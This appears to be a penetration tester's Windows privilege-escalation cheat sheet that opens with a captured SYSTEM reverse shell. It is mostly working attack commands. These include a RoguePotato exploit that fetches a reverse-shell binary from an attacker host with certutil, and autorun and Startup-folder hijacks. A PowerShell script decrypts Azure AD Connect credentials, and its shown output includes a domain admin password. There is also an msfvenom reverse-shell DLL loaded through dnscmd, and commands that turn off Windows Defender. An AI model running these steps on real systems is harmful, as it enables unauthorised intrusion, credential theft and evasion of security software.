listening on [any] 4444 ...
connect to [192.168.118.23] from (UNKNOWN) [192.168.120.107] 49998
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami && hostname 
whoami && hostname 
nt authority\system
SERVER

C:\Windows\system32>

πŸ”₯ SeAssignPrimaryTokenPrivilege + SeImpersonatePrivilege

Name the user privileges that allows this exploit to work 

whoami /priv
|->
SeImpersonatePrivilege
SeAssignPrimaryTokenPrivilege

Expose potato 

cd /opt/windows/potato/
python3 -m http.server 80

Copy potato into Windows machine 

certutil -urlcache -f http://192.168.45.195/RoguePotato.exe RoguePotato.exe

Copy revshell into Windows machine 

certutil -urlcache -f http://192.168.45.195/shell_ps_4445.exe shell_ps_4445.exe

Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows 

sudo socat tcp-listen:135,reuseaddr,fork tcp:$IP_WEB02:9999

Run the RoguePotato exploit to trigger a reverse shell running with SYSTEM privileges 

.\RoguePotato.exe -r 192.168.45.195 -e "C:\ftp\shell_ps_4445.exe" -l 9999

πŸ”₯ SeShutdownPrivilege

if 

whoami /priv
|->
SeShutdownPrivilege
then - you can restart machine 
shutdown /r /t 0

AutoRuns

πŸ”₯ Overwrite autorun executable

  1. Find, apps that run on start
    1. Open Autoruns64.exe
    2. OR, query the registry for AutoRun executables reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  2. In Autoruns, click on the Logon tab.
  3. Let's assume you found, My Program entry.
    1. C:\Program Files\Autorun Program\program.exe
  4. Use accesschk64.exe to check permissionsΒ  v1. accesschk64.exe -wvu "C:\Program Files\Autorun Program\program.exe" v2. accesschk64.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
  5. In output, let's assume Everyone has FILE_ALL_ACCESS permission on the program.exe file.
  6. Next, overwrite program.exe with rshell.exe file.

Startup Applications.

πŸ”₯ Add new startup application

  1. Whoami (check username and groups) 
    whoami
whoami /groups
  2. Open command prompt and type 
    icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  3. Compare your user groups with output
    1. BUILTIN\Users group has full access to the directory
  4. Exploitation
    • copy rshell.exe into C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
    • Logoff & Login

Vulnerable software

  • dump information it can gather on installed software 
    wmic product get name,version,vendor
  • check software in exploit.db

Groups

Azure Admins

Azure Admins https://blog.xpnsec.com/azuread-connect-for-redteam/ exploit.ps1 

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = 127.0.0.1; Database = ADSync;Initial Catalog=ADSync;Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)


.\exploit.ps1
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!

DnsAdmins

DnsAdmins

Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details. more and more

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.16 LPORT=443 -f dll -o rev.dll

/opt/tools/impacket/examples/smbserver.py public .

rlwrap nc -lnvp 443

dnscmd.exe /config /serverlevelplugindll \\10.10.14.16\public\rev.dll
sc.exe \\resolute stop dns
sc.exe \\resolute start dns

Server Operators

Server Operators BUILTIN\Server Operators

A built-in group that exists only on domain controllers. By default, the group has no members. Server Operators can log on to a server interactively;

  • create and delete network shares;
  • start and stop services;
  • back up and restore files;
  • format the hard disk of the computer;
  • and shut down the computer.
  • https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#server-operators
  • https://ss64.com/nt/syntax-security_groups.html#:~:text=A%20built%2Din%20group%20that,and%20shut%20down%20the%20computer.

Potatoes_Windows_Privesc

https://jlajara.gitlab.io/Potatoes_Windows_Privesc

WindowsDefender

powershell

Set-MpPreference -DisableRealtimeMonitoring $true

Set-MpPreference -DisableRealtimeMonitoring $false

cmd

sc stop WinDefend

sc start WinDefend

External